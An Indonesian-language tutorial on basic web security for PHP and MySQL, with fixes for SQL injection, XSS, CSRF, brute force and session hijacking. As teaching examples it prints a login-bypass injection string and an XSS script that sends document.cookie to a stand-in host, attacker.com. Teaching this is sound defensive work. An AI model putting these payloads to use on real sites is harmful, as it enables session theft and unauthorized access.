
Security Dasar Website: Panduan Lengkap Mencegah SQL Injection, XSS, CSRF, Brute Force & Serangan Umum di PHP & MySQL
Pendahuluan
Keamanan website bukan lagi fitur tambahan, melainkan fondasi utama dalam pengembangan aplikasi modern. Setiap website yang terhubung ke internet memiliki potensi menjadi target serangan.
Banyak developer pemula fokus pada fitur dan tampilan, tetapi mengabaikan aspek security. Padahal satu celah kecil saja dapat menyebabkan:
- Kebocoran data pengguna
- Password bocor
- Website diambil alih
- Database dihapus
- Kerugian finansial dan reputasi
Dalam panduan lengkap ini, kita akan membahas secara mendalam:
- Konsep dasar keamanan website
- SQL Injection
- Cross Site Scripting (XSS)
- Cross Site Request Forgery (CSRF)
- Brute Force Attack
- Session Hijacking
- Best Practice Secure Coding
- Checklist keamanan sebelum production
1. Konsep Dasar Keamanan Website
Website modern biasanya terdiri dari:
- Frontend (HTML, CSS, JS)
- Backend (PHP)
- Database (MySQL)
Setiap layer ini memiliki potensi celah keamanan.
Tujuan utama web security adalah:
- Confidentiality (Kerahasiaan data)
- Integrity (Data tidak bisa dimanipulasi)
- Availability (Website tetap dapat diakses)
2. SQL Injection (Serangan ke Database)
Apa Itu SQL Injection?
SQL Injection terjadi ketika attacker menyisipkan query SQL berbahaya melalui input user.
Contoh Kode Rentan
$email = $_POST['email'];
$query = "SELECT * FROM users WHERE email='$email'";
$result = mysqli_query($conn, $query);
Jika user menginput:
' OR 1=1 --
Query berubah menjadi valid dan dapat membypass login.
Dampak SQL Injection
- Bypass login admin
- Dump seluruh database
- Hapus tabel
Solusi: Prepared Statement (WAJIB)
$stmt = $conn->prepare("SELECT * FROM users WHERE email = ?");
$stmt->bind_param("s", $email);
$stmt->execute();
$result = $stmt->get_result();
Tambahan Perlindungan
- Gunakan ORM jika memungkinkan
- Batasi hak akses database
- Jangan gunakan root untuk koneksi
3. Cross Site Scripting (XSS)
Apa Itu XSS?
XSS memungkinkan attacker menyisipkan script JavaScript ke dalam website.
Contoh Serangan
<script>document.location='http://attacker.com?cookie='+document.cookie;</script>
Script ini dapat mencuri session pengguna.
Cara Mencegah XSS
Gunakan htmlspecialchars()
echo htmlspecialchars($data['comment'], ENT_QUOTES, 'UTF-8');
Batasi HTML
$comment = strip_tags($_POST['comment']);
Gunakan Content Security Policy
header("Content-Security-Policy: default-src 'self';");
4. Cross Site Request Forgery (CSRF)
Bagaimana CSRF Bekerja?
Attacker memanfaatkan session login user untuk mengirim request tanpa sepengetahuan korban.
Solusi: CSRF Token
session_start();
$_SESSION['csrf_token'] = bin2hex(random_bytes(32));
Tambahkan ke form:
<input type="hidden" name="csrf_token" value="<?= $_SESSION['csrf_token']; ?>">
Validasi:
if ($_POST['csrf_token'] !== $_SESSION['csrf_token']) {
die("Invalid request");
}
5. Brute Force Attack
Brute force adalah percobaan login berulang-ulang untuk menebak password.
Cara Mencegah
- Batasi percobaan login
- Gunakan CAPTCHA
- Gunakan rate limiting
- Tambahkan delay setelah gagal login
Contoh Rate Limit Sederhana
if ($_SESSION['login_attempt'] > 5) {
die("Terlalu banyak percobaan login.");
}
6. Session Hijacking
Session hijacking terjadi ketika attacker mencuri session ID pengguna.
Pencegahan
session_regenerate_id(true);
Gunakan juga:
ini_set('session.cookie_httponly', 1);
ini_set('session.cookie_secure', 1);
7. Password Security
Gunakan password_hash()
$password = password_hash($_POST['password'], PASSWORD_DEFAULT);
Verifikasi
password_verify($input_password, $hash);
Jangan pernah menyimpan password dalam bentuk plain text.
8. HTTPS & SSL
Gunakan SSL agar data terenkripsi saat dikirim dari browser ke server.
- Mencegah sniffing
- Mencegah MITM attack
- Meningkatkan kepercayaan user
9. Error Handling Aman
Jangan tampilkan error database langsung ke user.
ini_set('display_errors', 0);
10. Permission File & Server
- File sensitif jangan 777
- Sembunyikan file config
- Gunakan .htaccess untuk proteksi folder
11. Checklist Sebelum Production
- ✔ Semua query pakai prepared statement
- ✔ Semua output pakai htmlspecialchars
- ✔ CSRF token aktif
- ✔ HTTPS aktif
- ✔ Password di-hash
- ✔ Login rate limit aktif
- ✔ Session regenerate aktif
- ✔ Error tidak ditampilkan
Penutup
Security bukan sesuatu yang ditambahkan di akhir project. Security harus menjadi kebiasaan sejak awal coding.
Dengan memahami SQL Injection, XSS, CSRF, Brute Force, dan Session Hijacking, kamu sudah selangkah lebih maju dari banyak developer pemula.
Bangun mindset secure coding dari sekarang. Karena website aman adalah pondasi untuk scaling, monetisasi, dan reputasi profesional.